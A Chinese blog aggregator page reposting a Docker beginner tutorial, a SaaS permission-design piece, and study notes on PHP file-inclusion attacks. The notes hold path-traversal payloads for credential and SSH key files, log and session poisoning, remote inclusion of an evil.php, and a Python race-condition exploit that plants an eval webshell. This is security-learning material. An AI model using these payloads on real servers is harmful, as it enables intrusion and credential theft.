標籤: 網頁設計公司

  • 一文了解Docker容器技術的操作

    一文了解Docker容器技術的操作

    一文了解Docker容器技術的操作

    前言一、Docker是什麼二、Docker的安裝及測試Docker的安裝Docker的Hello world測試三、Docker的常見操作鏡像的基本操作容器的基本操作鏡像、容器的導入和導出四、關於DockerFile總結

    前言

    相信點進這篇文章的Coder,不管是在各大技術論壇上、技術交流群,亦或招聘網上,應該都有見到過Doker容器技術的面孔,隨着社會節奏的加快以及迫於生活的壓力,在計算機技術日新月異的今天,真正能夠沉下心來學習一門技術的時間真的不多。趁着這段空閑的時間,濤耶也該是時候把過去學習時所積累的筆記沉澱一下了。本文主要是從是什麼、為什麼、怎麼做的角度來介紹Docker容器技術的入門,能讓初次接觸Docker容器技術的朋友更快更便捷的使用Docker。

    一、Docker是什麼

    對於Docker,官方的介紹如下:

    Docker 是一個開源的應用容器引擎,讓開發者可以打包他們的應用以及依賴包到一個可移植的鏡像中,然後發布到任何流行的 Linux或Windows機器上,也可以實現虛擬化。容器是完全使用沙箱機制,相互之間不會有任何接口。

    在實際的開發過程中,我們往往會因為環境的搭建而浪費過多的時間,而現如今有了Docker容器技術的支持,我們不再過於擔心各種因為環境問題而造成的過多時間的浪費。Docker容器引擎中已經為我們提供了開發過程中所需要的各種鏡像,我們需要有Resid數據庫、Elasticsearch搜索技術、Mq消息隊列等支持,我們都可以使用Docker中的pull命令來從中央倉庫中進行拉取,而不像傳統那樣從各大官網亦或github中進行下載。讀到這裏的朋友應該會有所發現,Docker就有點類似Maven管理工具,或者直接將Docker看做一個裝載了大量“物資”的集裝箱,但Docker的強大之處可並不止步於此,查閱了解后,Docker主要有以下幾大特性:

    • Automating the packaging and deployment of applications(使應用的打包與部署自動化)
    • Creation of lightweight, private PAAS environments(創建輕量、私密的PAAS環境)
    • Automated testing and continuous integration/deployment(實現自動化測試和持續的集成/部署)
    • Deploying and scaling web apps, databases and backend services(部署與擴展webapp、數據庫和後台服務)

    總之,Docker容器是現如今相當火熱的一門技術。之前讀到網上有着這麼一句話:電腦如果有問題,沒有是重裝系統解決不了的。話雖如此,但是一旦重裝系統之後,我們之前系統中所有保存資源都被消除了,我們需要使用QQ增進朋友之間的感情,則要到鵝廠中去下載、安裝;需要網易雲音樂來放鬆心情,則要到官網中安裝、下載,以及需要下載並安裝其他各大軟件才能滿足自己的實際需求,一個不小心還可能會綁架其他垃圾軟件。當然有的朋友會在重裝系統之前自己的資源備份以下,重裝系統之後再直接使用,但依然免不了N個下一步所帶來的時間消耗。假如現在有這麼一個容器,裏面存放着我們需要的所有資源,在我們需要的時候只需要一行簡單的pull命令即可迅速完成所有軟件的下載安裝步驟,這豈不美哉!

    沒錯,Docker容器就是基於這麼一個思想來解決我們各大煩惱。如果對於Docker容器技術的理解還不是特別清楚,可拜讀一下大佬的文章:漫畫 | 從搬家到容器技術 Docker 應用場景解析,這篇文章使用漫畫的形式來給讀者介紹Docker容器的優勢。

    二、Docker的安裝及測試

    Docker的安裝

    我們往往是使用Linux系統來安裝Docker,在之前的文章也有過Linux系統的安裝,這裏就不多介紹了。下面我們就在CentOS Linux release 8.0.1905 (Core)系統下來安裝一下Docker吧。

    首選使用cat /etc/redhat-release查看一下自己的Linux版本:

    [root@iZm5eei156c9h3hrdjpe77Z ~]# cat /etc/redhat-release
    CentOS Linux release 8.0.1905 (Core)

    在安裝Docker之前,我們先把yum更新一下

    update yum

    安裝Docker需要的軟件包

    yum install -y yum-utils device-mapper-persistent-data lvm2

    設置一下docker的yum源,後期在使用的Docker的pull操作都是在此倉庫中下載

     yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo

    查看倉庫中所有的docker版本,以便安裝我們需要的Docker版本

    yum list docker-ce --showduplicates | sort -r

    安裝需要的docker版本,此處以Docker17.12.1版本為例

    yum install docker-ce-17.12.1.ce

    成功安裝之後,便可使用docker version/docker -v即可查看所安裝docker的版本

    # docker version
    [root@iZm5eei156c9h3hrdjpe77Z ~]# docker version
    Client:
     Version:    17.12.1-ce
     API version:    1.35
     Go version:    go1.9.4
     Git commit:    7390fc6
     Built:    Tue Feb 27 22:15:20 2018
     OS/Arch:    linux/amd64

    Server:
     Engine:
      Version:    17.12.1-ce
      API version:    1.35 (minimum version 1.12)
      Go version:    go1.9.4
      Git commit:    7390fc6
      Built:    Tue Feb 27 22:17:54 2018
      OS/Arch:    linux/amd64
      Experimental:    false

    # docker -v
    [root@iZm5eei156c9h3hrdjpe77Z ~]# docker -v
    Docker version 17.12.1-ce, build 7390fc6

    之後,我們需要更換docker拉取軟件的服務,這裏使用的是Aliyun鏡像加速器,使用加速器可以提升獲取Docker官方鏡像的速度(一下操作可直接複製執行):

    sudo mkdir -p /etc/docker
    sudo tee /etc/docker/daemon.json <<-'EOF'
    {
      "registry-mirrors": ["https://1ewanek5.mirror.aliyuncs.com"]
    }
    EOF
    sudo systemctl daemon-reload
    sudo systemctl restart docker

    這樣一來,我們便完整的安裝好了Docker。(PS:由於系統環境的問題,在安裝過程中可能需要到其他依賴,只需要根據提示操作即可)

    Docker的Hello world測試

    任何技術的學習,我們都離不開Hello world,Docker也不例外,下面我們來使用Docker來運行一下Hello world吧,在測試之前我們首先使用如下命令來啟動Docker,啟動、重新啟動以及設置開機自啟動:

    # Docker的啟動
    systemctl start docker
    # Docker的重啟
    systemctl restart docker
    # Docker的開機自啟動
    systemctl enable docker     # 一般我們使用開機自啟動的形式

    啟動好Docker之後,我們來在Docker中運行一下hello world:

    # docker 運行hello world
    docker run hello-world

    在我們執行docker run hello-world之後,Docker首先會根據我們的命令查看一下本地是否存在hello-world鏡像,如果存在則會直接運行,如果不存在就會去中央倉庫中拉取(下載)hello-world鏡像(拉取過程極為迅速)之後再來運行。由於我們首次使用Docker,所以執行之後會出現以下結果:

    由於Docker已經幫我們拉取了hello-world鏡像,所以當我們再次運行docker run hello-world之後,則會出現如下結果:

    順便一提,我們在使用Docker拉取所拉取的所有鏡像都來源於Docker的中央倉庫,裏面存放了大量的鏡像可供我們自由使用:https://hub.docker.com/

    三、Docker的常見操作

    啟動docker systemctl start docker,重啟systemctl restart docker,開機docker自啟動systemctl enable docker

    # Docker的啟動
    systemctl start docker
    # Docker的重啟
    systemctl restart docker
    # Docker的開機自啟動
    systemctl enable docker     # 一般我們使用開機自啟動的形式

    鏡像的基本操作

    • 使用search命令來檢索中央倉庫中收錄的鏡像,這裏以tomcat為例
    # 檢索鏡像:docker search [鏡像名稱]
    docker search tomcat

    • 拉取(下載)鏡像:docker pull tomcat(默認最新版本),如果需要其他版本可在中央倉庫中查閱
    # 拉取鏡像:docker pull [鏡像名稱]
    docker pull tomcat
    # 默認拉取的是最新版本,如果需要特定版本,在後面指定即可,以tomcat7.0.1為例
    docker pull tomcat:7.0.1
    • 查看已經下載的本地鏡像:
    # 查看已經下載的本地鏡像
    docker images

    • 刪除本地鏡像
    # 刪除本地鏡像: docker rmi 鏡像名稱/IMAGE ID
    docker rmi tomcat

    容器的基本操作

    • 根據鏡像啟動對應的容器
    # 根據鏡像啟動對應的容器
    docker run -d --name mytomcat tomcat
    # --name 對容器起一個別名
    # -d 對指定的容器進行後台運行
    • 停止運行的容器
    # 停止運行的容器:docker stop 容器名稱/CONTAINER ID
    docker stop mytomcat
    • 查看正在運行的容器
    docker ps       # 查看正在運行的容器
    docker ps -a    # 查看本地所有的容器
    • 刪除容器
    # 注:刪除容器是使用rm,刪除鏡像是rmi,且刪除鏡像之前需要停止運行容器並刪除
    docker rm mytomcat
    • 啟動一個做了端口映射的容器,在之前創建容器之後,我們無法通過ip:端口的形式來訪問Docker中所開啟的服務,因為每一個容器他都是獨立,所以要想訪問,我們則需要通過端口的映射來訪問容器。
    docker run -d --name mytomcat -p 8888:8080 tomcat
    # --name:對容器起一個別名
    # -p:將主機的端口映射到容器的一個端口  主機端口:容器內部的端口 
    # -d:後台運行
    • 查看容器的日誌docker logs mytomcat

    • 容器開機自起動:

    docker update mytomcat --restart=always
    • 進入對應的容器
    docker exec -it mytomcat /bin/bash
    • 本地文件(是centos不是windows)與docker容器中文件之間的互傳,以將ik分詞器插件上傳至elasticsearch容器為例:
    # 先將windows上的文件使用xftp上傳到vmware linux中,然後將文件使用docker命令上傳到docker容器中
    # docker cp 本地路徑 容器名:容器路徑
    docker cp ./elasticsearch-analysis-ik-6.5.4.zip elasticsearch:/usr/share/elasticsearch/plugins
    • 文件的掛載

    Docker容器是獨立,且其相當於是一個及其精簡版的Linux,在我們通過exec命令之後,我們是無法使用vim、vi等命令來對其內部文件進行編輯,在一般情況下我們在創建好容器之後一般會對其配置文件進行編輯,此時我們可以使用Docker中的掛載來將容器內文件掛載到宿主機中。當我們在宿主機中對掛載的文件進行編輯的時候,容器中所被掛載的文件也會做出相應的修改,下面就是docker掛載文件的-v操作(以掛載Es的配置文件和數據文件為例):

    mkdir -p ./resources/elasticsearch/config
    mkdir -p ./resources/elasticsearch/data

    docker run --name elasticsearch -p 9200:9200 \
    -e "discovery.type=single-node" \
    -e ES_JAVA_OPTS="-Xms256m -Xmx256m" \
    -v /resources/elasticsearch/config/elasticsearch.yml:/usr/share/elasticsearch/config/elasticsearch.yml \
    -v /resources/elasticsearch/data:/usr/share/elasticsearch/data -d elasticsearch:5.6.8

    鏡像、容器的導入和導出

    export:可將docker容器通過export導出為tar文件

    docker export mytomcat > mytomcat.tar

    import:基於tar文件來創建一個新的鏡像

    docker import - mytomcat < mytomcat.tar

    注:以上指示Docker容器中常用的一些命令,對於不同的鏡像的使用,其啟動命令也是會有所區別,後面的一些命令會在使用的時候進行介紹,其他更多Docker操作可參考Docker官方文檔:
    https://docs.docker.com/engine/reference/commandline/docker/

    四、關於DockerFile

    上面我們已經介紹了Docker以及在使用Docker過程中常用的一些命令。而本小結將會介紹Dockerfile,Dockerfile是常用的一種創建鏡像的方式,由file我們也不難知道Dockerfile就是一個Docker文件,可以簡單把它理解成在其內部定義了構建Docker容器的一條條指令,而每一條指令的內容都代表了構建容器的每個流程,Docker通過讀取Dockerfile內的每條指令來構建鏡像。下面我們將會簡單介紹編寫Dockerfile的常用指令及其搭建流程,並最終使用Dockerfile來搭建一個centos鏡像。(PS:本文中的Dockerfile僅僅是簡單介紹,之後Dockerfile的詳細編寫會單獨成文整理)

    Dockerfile官方文檔:https://docs.docker.com/develop/develop-images/dockerfile_best-practices/

    在介紹Dockerfile之前,我們首先通過下面這張圖來直觀的了解下Dockerfile(來源網絡,侵刪。)

    從上圖我們可以大致了解Dockerfile的編寫流程,一個標準的Dockerfile以FROM指令開頭(除註釋之外,註釋通過#進行),一般來說,Dockerfile中的指令主要包括四種類型,該四種類型也就是編寫Dockerfile的一般流程:

    • 指定構建新鏡像的基礎鏡像(父鏡像):FROM
    • 說明所構建鏡像的維護者信息:MAINTAINER(官方已經不贊成使用)、LABEL(建議使用)
    • 對鏡像的操作指令:RUN、ENV、ADD、COPY以及WORKDIR
    • 對容器的啟動指令:CMD、ENTRYPOINT、USER

    下面我們通過Dockerfile的形式來搭建一個nginx容器,並訪問其index.html頁面。

    創建一個工作目錄,用於指定創建新鏡像的所需要的文件(不做要求,但卻是一種創建鏡像的規範)

    mkdir demo_dockerfile
    cd demo_dockerfile
    vim Dockerfile

    編寫Dockerfile文件

    FROM nginx
    LABEL author=taoye email=26647879@qq.com desc="Hello Dockerfile, I am a coder."

    Dockerfile文件寫完之後,我們通過該文件來創建一個新的鏡像,-t參數用於指定創建新鏡像的倉庫和名稱,並設置版本,注意在結尾有.,表示的是指定構建新鏡像過程中的上下文環境的目錄。

    docker build -t demo_nginx/demo_dockerfile:v1.0 .

    執行之後docker build之後便會在本地創建了一個新的鏡像,我們可以通過該鏡像來創建容器並使用curl來進行測試

    docker run --name demo_nginx -d -p 7777:80 demo_nginx/demo_dockerfile:v1.0

    curl localhost:7777

    總結

    本文首先介紹的是對Docker基本認識,其次詳細說明了Docker環境的搭建,之後常見的Docker操作,最後簡單介紹了Dockerfile及通過Dockerfile創建一個簡單nginx容器。在之後文章中會詳細介紹Dockerfile,最好的學習方式莫過於從官方文檔中盡情的無償汲取知識,本文說到底僅僅是在學習Docker官方文檔之後的一個簡單總結,所涉及到的也只是冰山一角。Docker官方文檔中包含了詳細且全面的介紹,涉及到Docker的方方面面,有條件的朋友強烈建議閱讀耐心地閱讀官方文檔:http://docs.docker.com/engine/reference/builder/

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

    ※台北網頁設計公司全省服務真心推薦

    ※想知道最厲害的網頁設計公司"嚨底家"!

    ※推薦評價好的iphone維修中心

    網頁設計最專業,超強功能平台可客製化

    ※別再煩惱如何寫文案,掌握八大原則!

  • PHP文件包含 整理

    PHP文件包含 整理

    文件包含

    目錄

    • 文件包含
      • 1. 概述
        • 1.1 常見的引發漏洞的函數:
        • 1.2 利用條件
        • 1.3 分類和利用思路
      • 2. 利用方法
        • 2.1 配合文件解析漏洞來包含
        • 2.2 讀取系統敏感文件(路徑遍歷)
        • 2.3 包含http日誌文件
        • 2.4 包含SSH日誌
        • 2.5 使用PHP偽協議
        • 2.6 配合phpinfo頁面包含臨時文件
        • 2.7 包含Session
        • 2.9 包含環境變量
      • 3. 繞過技巧
        • 3.1 限制路徑路徑
        • 3.2 限制後綴
        • 3.3 allow_url_include = off
        • 3.4 Base64 處理的session文件
        • 3.5 自己構造Session
        • 3.6 CVE-2018-14884

    參考資料:
    文件包含漏洞簡介
    利用phpinfo條件競爭
    PHP文件包含漏洞利用思路與Bypass總結手冊

    1. 概述

    什麼是文件包含:文件包含函數所加載的參數沒有經過過濾或者嚴格的定義,可以被用戶控制,包含其他文件或惡意代碼,導致信息泄露或代碼注入。

    要求:包含的文件路徑攻擊者可控,被包含的文件web服務器可訪問。

    1.1 常見的引發漏洞的函數:

    1. include()執行到include時才包含文件,文件不存在時提出警告,但是繼續執行
    2. require()只要程序運行就會包含文件,文件不存在產生致命錯誤,並停止腳本
    3. include_once()require_once()只執行一次,如果一個文件已經被包含,則這兩個函數不會再去包含(即使文件中間被修改過)。

    當利用這四個函數來包含文件時,不管文件是什麼類型(圖片、txt等等),其中的文本內容都會直接作為php代碼進行解析。

    1.2 利用條件

    • 包含函數通過動態變量的方式引入需要包含的參數。

    • PHP中只要文件內容符合PHP語法規範,不管是什麼後綴,都會被解析。

    1.3 分類和利用思路

    文件包含通常按照包含文件的位置分為兩類:本地文件包含(LFI)和遠程文件包含(RFI),顧名思義,本地文件包含就是指包含本地服務器上存儲的一些文件;遠程文件包含則是指被包含的文件不存儲在本地。

    本地文件包含

    1. 包含本地文件、執行代碼
    2. 配合文件上傳,執行惡意腳本
    3. 讀取本地文件
    4. 通過包含日誌的方式GetShell
    5. 通過包含/proc/self/envion文件GetShell
    6. 通過偽協議執行惡意腳本
    7. 通過phpinfo頁面包含臨時文件

    遠程文件包含

    1. 直接執行遠程腳本(在本地執行)

    遠程文件包含需要在php.ini中進行配置,才可開啟:

    allow_url_fopen = On:本選項激活了 URL 風格的 fopen 封裝協議,使得可以訪問 URL 對象文件。默認的封裝協議提供用 ftp 和 http 協議來訪問遠程文件,一些擴展庫例如 zlib 可能會註冊更多的封裝協議。(出於安全性考慮,此選項只能在 php.ini 中設置。)

    allow_url_include = On:此選項允許將具有URL形式的fopen包裝器與以下功能一起使用:include,include_once,require,require_once。(該功能要求allow_url_fopen開啟)

    2. 利用方法

    2.1 配合文件解析漏洞來包含

    http://target.com/?page=../../upload/123.jpg/.php

    2.2 讀取系統敏感文件(路徑遍歷)

    include.php?file=../../../../../../../etc/passwd

    Windows:

    ​ C:\boot.ini //查看系統版本
    ​ C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
    ​ C:\Windows\repair\sam //存儲系統初次安裝的密碼
    ​ C:\Program Files\mysql\my.ini //Mysql配置
    ​ C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
    ​ C:\Windows\php.ini //php配置信息
    ​ C:\Windows\my.ini //Mysql配置信息

    Linux:

    /root/.ssh/authorized_keys
    /root/.ssh/id_rsa
    /root/.ssh/id_ras.keystore
    /root/.ssh/known_hosts
    /etc/passwd
    /etc/shadow
    /etc/my.cnf
    /etc/httpd/conf/httpd.conf
    /root/.bash_history
    /root/.mysql_history
    /proc/self/fd/fd[0-9]*(文件標識符)
    /proc/mounts
    /porc/config.gz

    2.3 包含http日誌文件

    通過包含日誌文件,來執行夾雜在URL請求或者User-Agent頭中的惡意腳本

    1. 通過讀取配置文件確定日誌文件地址

      默認地址通常為:/var/log/httpd/access_log/var/log/apache2/access.log

    2. 請求時直接在URL後面加上腳本即可http://www.target.com/index.php<?php phpinfo();?>,之後去包含這個日誌文件即可。

    3. 注意:日誌文件會記錄最為原始的URL請求,在瀏覽器地址欄中輸入的地址會被URL編碼,通過CURl或者Burp改包繞過編碼。

    apache+Linux 日誌默認路徑
    /etc/httpd/logs/access_log
    /var/log/httpd/access_log
    xmapp日誌默認路徑
    D:/xampp/apache/logs/access.log
    D:/xampp/apache/logs/error.log
    IIS默認日誌文件
    C:/WINDOWS/system32/Logfiles
    %SystemDrive%/inetpub/logs/LogFiles
    nginx
    /usr/local/nginx/logs
    /opt/nginx/logs/access.log

    通過包含環境變量/proc/slef/enversion來執行惡意腳本,修改HTTP請求的User-Agent報頭,但是沒復現成功

    2.4 包含SSH日誌

    和包含HTTP日誌類似,登錄用戶的用戶名會被記錄在日誌中,如果可以讀取到ssh日誌文件,則可以利用惡意用戶名注入php代碼。

    SSH登錄日誌常見存儲位置:/var/log/auth.log/var/log/secure

    2.5 使用PHP偽協議

    PHP內置了很多URL 風格的封裝協議,除了用於文件包含,還可以用於很多文件操作函數。在phpinfo的Registered PHP Streams中可以找到目前環境下可用的協議。

    file:// — 訪問本地文件系統
    http:// — 訪問 HTTP(s) 網址
    ftp:// — 訪問 FTP(s) URLs
    php:// — 訪問各個輸入/輸出流(I/O streams
    zlib:// — 壓縮流
    data:// — 數據(RFC 2397)
    glob:// — 查找匹配的文件路徑模式
    phar:// — PHP 壓縮文件
    ssh2:// — Secure Shell 2
    rar:// — RAR
    ogg:// — 音頻流
    expect:// — 處理交互式的流
    
    1. file://訪問本地文件系統http://target.com/?page=file://D:/www/page.txt,正反斜線都行(windows),對於共享文件服務器可以使用\\smbserver\share\path\to\winfile.ext

    2. php://input訪問輸入輸出流:?page=php://input,在POST內容中輸入想要執行的腳本。

    3. php://filter:是一種元封裝器, 設計用於數據流打開時的篩選過濾應用。

      全部可用過濾器列表:https://www.php.net/manual/zh/filters.php

      通常利用該偽協議來讀取php源碼,通過設定編碼方式(以base64編碼為例),可以防止讀取的內容被當做php代碼解析,利用方式(就是read寫不寫的區別):

      index.php?file=php://filter/read=convert.base64-encode/resource=index.php
      index.php?file=php://filter/convert.base64-encode/resource=index.php
      
    4. data://數據流封裝:?page=data://text/plain,腳本

    1. zip://壓縮流:創建惡意代碼文件,添加到壓縮文件夾,上傳,無視後綴。通過?page=zip://絕對路徑%23文件名訪問,5.2.9之前是只能絕對路徑。

    備註:

    1. 文件需要絕對路徑才能訪問

    2. 需要通過#(也就是URL中的%23)來指定代碼文件

    3. compress.bzip2://compress.zlib://壓縮流,與zip類似,但是支持相對路徑無視後綴

      bzipgzip是對單個文件進行壓縮(不要糾結要不要指定壓縮包內的文件)

      ?file=compress.bzip2://路徑
      ?file=compress.zlib://路徑
      
    4. phar://支持zip、phar格式的壓縮(歸檔)文件,無視後綴(也就是說jpg後綴照樣給你解開來),?file=phar://壓縮包路徑/壓縮包內文件名,絕對路徑和相對路徑都行。

      利用方法:

      index.php?file=phar://test.zip/test.txt
      index.php?file=phar://test.xxx/test.txt
      

      製作phar文件(php5.3之後):

      1. 設置php.iniphar.readonly=off
      2. 製作生成腳本
      <?php 
      @unlink("phar.phar");
      $phar = new Phar("phar.phar");
      $phar->startBuffering();
      $phar->setStub("<?php __HALT_COMPILER(); ?>"); //設置stub
      $phar->addFromString("test.txt", "<?php phpinfo();?>"); //添加要壓縮的文件及內容
      $phar->stopBuffering(); //簽名自動計算
      ?>
      // 這個腳本需要使用php.exe 來生成
      
      1. 生成腳本2

        <?php
        $p = new PharData(dirname(__FILE__).'./test.123', 0,'test',Phar::ZIP);
        $p->addFromString('test.txt', '<?php phpinfo();?>');
        ?>
        //這個腳本可以通過訪問來觸發,在本地生成一個test.123,但是不能生成後綴為phar的文件(其他的都行,甚至是php)
        

    2.6 配合phpinfo頁面包含臨時文件

    向phpinfo頁面上傳文件的時候,phpinfo會返回臨時文件的保存路徑

    臨時文件存活時間很短,當連接結束后,臨時文件就會消失。條件競爭

    只要發送足夠多的的數據,讓頁面還未反應過來的時候去包含文件,即可。

    1. 發送包含了webshell的上傳數據包給phpinfo頁面,這個數據包的header、get等位置需要塞滿垃圾數據

    2. 因為phpinfo頁面會將所有數據都打印出來,1中的垃圾數據會將整個phpinfo頁面撐得非常大

    3. php默認的輸出緩衝區大小為4096,可以理解為php每次返回4096個字節給socket連接

    4. 所以,我們直接操作原生socket,每次讀取4096個字節。只要讀取到的字符里包含臨時文件名,就立即發送第二個數據包

    5. 此時,第一個數據包的socket連接實際上還沒結束,因為php還在繼續每次輸出4096個字節,所以臨時文件此時還沒有刪除

    6. 利用這個時間差,第二個數據包,也就是文件包含漏洞的利用,即可成功包含臨時文件,最終getshell

      利用腳本exp

    2.7 包含Session

    1. PHP將用戶Session以文件的形式保存在主機中,通過php.ini文件中的session.save_path字段可以設置具體的存儲位置,通過phpinfo頁面也可以查詢到;文件命名格式為:sess_<PHPSESSID>,其中PHPSESSID為用戶cookie中PHPSESSID對應的值;Session文件一些可能的保存路徑:

      /var/lib/php/sess_PHPSESSID
      /var/lib/php/sessions/sess_PHPSESSID
      /tmp/sess_PHPSESSID
      /tmp/sessions/sess_PHPSESSID
      
    2. Session文件內容有兩種記錄格式:php、php_serialize,通過修改php.ini文件中session.serialize_handler字段來進行設置。

      以php格式記錄時,文件內容中以|來進行分割:

      以php_serialize格式記錄時,將會話內容以序列化形式存儲:

    3. 如果保存的session文件中字符串可控,那麼就可以構造惡意的字符串觸發文件包含。

      先構造一個含有惡意字符串的session文件:?user=test&cmd=<?php phpinfo();?>,之後包含這個會話的session文件。

    2.9 包含環境變量

    CGI****利用條件:1231、php以cgi方式運行,這樣environ才會保存UA頭。``2、environ文件存儲位置已知,且environ文件可讀。利用姿勢:proc/self/environ中會保存user-agent頭。如果在user-agent中插入php代碼,則php代碼會被寫入到environ中。之後再包含它,即可。

    3. 繞過技巧

    3.1 限制路徑路徑

    服務器限制了訪問文件的路徑,例如在變量前面追加'/var/www/html'限制只能包含web目錄下的文件,可以利用路徑穿越進行對抗。

    ../../../../../../../ect/passwd

    對於輸入有過濾的情況,可以嘗試用URL編碼進行轉換,比如%2e%2e%2f,甚至是二次轉換。

    3.2 限制後綴

    對用戶輸入添加後綴,比如:自動添加.jgp後綴、或者期望用戶輸如一個父目錄,服務器自動拼接上子目錄和文件。

    1. 如果是遠程文件包含的話可以利用URL的特性?#

      構造出類似於http://test.com/evil.php?/static/test.phphttp://test.com/evil.php#/static/test.php的包含路徑,使得服務器預設的後綴變成URL的參數或者頁面錨點。

    2. 利用壓縮協議:構建一個壓縮包歸檔文件,裡面包含上服務器加的後綴,這樣完整的路徑將指向壓縮包內文件。

      比如壓縮包中文件為test.zip->test->defautl->test.php ,構造url:include.php?file=phar://test.zip/test,服務端拼接后變成include('phar://test.zip/test/defautl/test.php')

    3. 利用超長字符串進行截斷,在php<5.2.8的版本可以設置一個超級長的路徑,超過的部分將被服務器丟棄。

      win最長為256字節、Linux為4096字節,構造include.php?file=./././././(n多個)././test.php

    4. 利用00截斷:php<5.3.4時可用%00對字符串進行截斷,%00被是識別為字符串終止標記。

    3.3 allow_url_include = off

    利用SMB、webdav等使用UNC路徑的文件共享進行繞過。

    1. 利用SMB(只對Win的web服務器有效):構建SMB服務器后,構造URL:?include.php?file=\\172.16.97.128\test.php
    2. 利用WebDAV:構造連接?include.php?file=//172.16.97.128/webdav/test.php

    3.4 Base64 處理的session文件

    為了保護用戶的信息或存儲更多格式的信息,很多時候都會對Session文件進行編碼,以Base64編碼為例,闡述繞過思路。了解服務端使用的編碼模式以及對應的解碼模式;合理安排payload使其滿足解碼條件,只要不干擾php代碼運行就可以。

    1. 根據上邊介紹的偽協議的用法,可以知道使用index.php?file=php://filter/read=convert.base64-decode/resource=index.php即可對base64編碼的文件進行解碼,但是直接解碼session文件時會出現亂碼。其原因在於session文檔中包含的並非全部都是base64編碼的內容,session開頭的user|s:24:字符串也被當做base64進行解碼,從而導致出現亂碼的情況,因此如果能忽略前面的字符,就可以完美解碼了。

    2. 有利條件:PHP在進行base64解碼的時候並不會去處理非Base64編碼字符集的內容,直接忽略過去並拼接之後的內容。也就是說,Session文件中的:|{};"這類字符對Base64解碼沒有影響。

    3. Base64解碼過程簡單來說就是:將字符串按照每4個字符分為一組,解碼為二進制數據流再拼接到一起,因此要保證我們可以將payload正確解出,需要將編碼后的payload其實位置控制在4n+1的位置(第5、9、13…位)。(base64編碼后長度為原數據長度的4/3)

    4. user:|s:24:"有效字符有7個,若要將payload置於第9位,則需要再增加一個字符,簡單有效的辦法就是讓24變成一個三位數——填充無效數據擴充payload長度。

    5. serialize模式同理,session文件中a:1:{s:4:"user";s:24:"共11個干擾字符,因此同樣只需將payload產生的字符串長度增加到三位數即可。

    3.5 自己構造Session

    有的網站可能不提供用戶會話記錄,但是默認的配置可以讓我們自己構造出一個Session文件。相關的選項如下:

    • session.use_strict_mode = 0,允許用戶自定義Session_ID,也就是說可以通過在Cookie中設置PHPSESSID=xxx將session文件名定義為sess_xxx
    • session.upload_progress.enabled = on,PHP可以在每個文件上傳時監視上傳進度。
    • session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS",當一個上傳在處理中,同時POST一個與INI中設置的session.upload_progress.name同名變量時,上傳進度可以在$_SESSION中獲得。 當PHP檢測到這種POST請求時,它會在$_SESSION中添加一組數據, 索引是session.upload_progress.prefixsession.upload_progress.name連接在一起的值。

    利用思路:

    1. 上傳一個文件

    2. 上傳時設置一個自定義PHPSESSIDcookie

    3. POST PHP_SESSION_UPLOAD_PROGRESS惡意字段:"PHP_SESSION_UPLOAD_PROGRESS":'<?php phpinfo();?>'

      這樣就會在Session目錄下生成一個包含惡意代碼的session文件。

    4. 但是php默認設置中會打開session.upload_progress.cleanup = on,也就是當文件上傳完成後會自動刪除session文件,使用條件競爭繞過,惡意代碼功能設置為生成一個shell.php。

    利用exp:

    import io
    import sys
    import requests
    import threading
    
    sessid = 'test'
    
    def POST(session):
        while True:
            f = io.BytesIO(b'a' * 1024 * 50)
            session.post(
                'http://127.0.0.1/index.php',
                data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php phpinfo();fputs(fopen('shell.php','w'),'<?php @eval($_POST[test])?>');?>"},
                files={"file":('q.txt', f)},
                cookies={'PHPSESSID':sessid}
            )
    
    def READ(session):
        while True:
            response = session.get(f'http://127.0.0.1/include.php?file=D:\\phpstudy_pro\\Extensions\\tmp\\tmp\\sess_{sessid}')
            # print('[+++]retry')
            # print(response.text)
    
            if 'PHP Version' not in response.text:
                print('[+++]retry')
            else:
                print(response.text)
                sys.exit(0)
    
    with requests.session() as session:
        t1 = threading.Thread(target=POST, args=(session, ))
        t1.daemon = True
        t1.start()
    
        READ(session)
    

    3.6 CVE-2018-14884

    CVE-2018-14884會造成php7出現段錯誤,從而導致垃圾回收機制失效,POST的文件會保留在系統緩存目錄下而不會被清除。

    影響版本:

    PHP Group PHP 7.0.*,<7.0.27
    PHP Group PHP 7.1.*,<7.1.13
    PHP Group PHP 7.2.*,<7.2.1

    windows 臨時文件:C:\windows\php<隨機字符>.tmp

    linux臨時文件:/tmp/php<隨機字符>

    1. 漏洞驗證include.php?file=php://filter/string.strip_tags/resource=index.php返回500錯誤

    2. post惡意字符串

      import requests
      
      files = {
        'file': '<?php phpinfo();'
      }
      url = 'http://127.0.0.1/include.php?file=php://filter/string.strip_tags/resource=index.php'
      r = requests.post(url=url, files=files, allow_redirects=False)
      
    3. 在臨時文件中可以看到惡意代碼成功寫入

    4. 至於包含嘛,爆破或者其他手段探測這個臨時文件吧。

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

    網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

    ※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

    南投搬家公司費用,距離,噸數怎麼算?達人教你簡易估價知識!

    ※教你寫出一流的銷售文案?

    ※超省錢租車方案

    ※回頭車貨運收費標準

  • SaaS權限設計總結

    SaaS權限設計總結

    2年前轉到SaaS部門之後期間斷斷續續做着權限相關的業務,這篇文章主要回顧下過往的設計以及其原因和利弊。
    不過因為是線上業務,會省略掉很多細節以及賬號體系和權益相關得部分,只討論權限相關。
    本文也不會涉及到技術層面的實現僅討論設計。

    原初的混沌

    SaaS和一些內部系統/2C業務的權限最大不同點是他是天然多租戶的。
    用戶之上會有一層組織(Organization)的概念,組織只擁有所有權限的子集(取決於組織購買的服務),並且組織可以自行管理部分權限。
    省略了部門,群組等等概念的簡化圖:

    增加了組織概念:

    剛接手的這塊的時候發現因為歷史原因設計得比較粗糙。
    整個權限系統只有兩個表:權限定義 和 組織權限關係。

    默認情況下組織內的所有用戶都能獲得分配給組織的權限,需要區分對待管理員和用戶的權限都是在代碼中進行硬編碼,手動去除對應權限。

    當時的功能:

    • 組織權限分配 – ACL
    • 組織內用戶權限分配 – 硬編碼

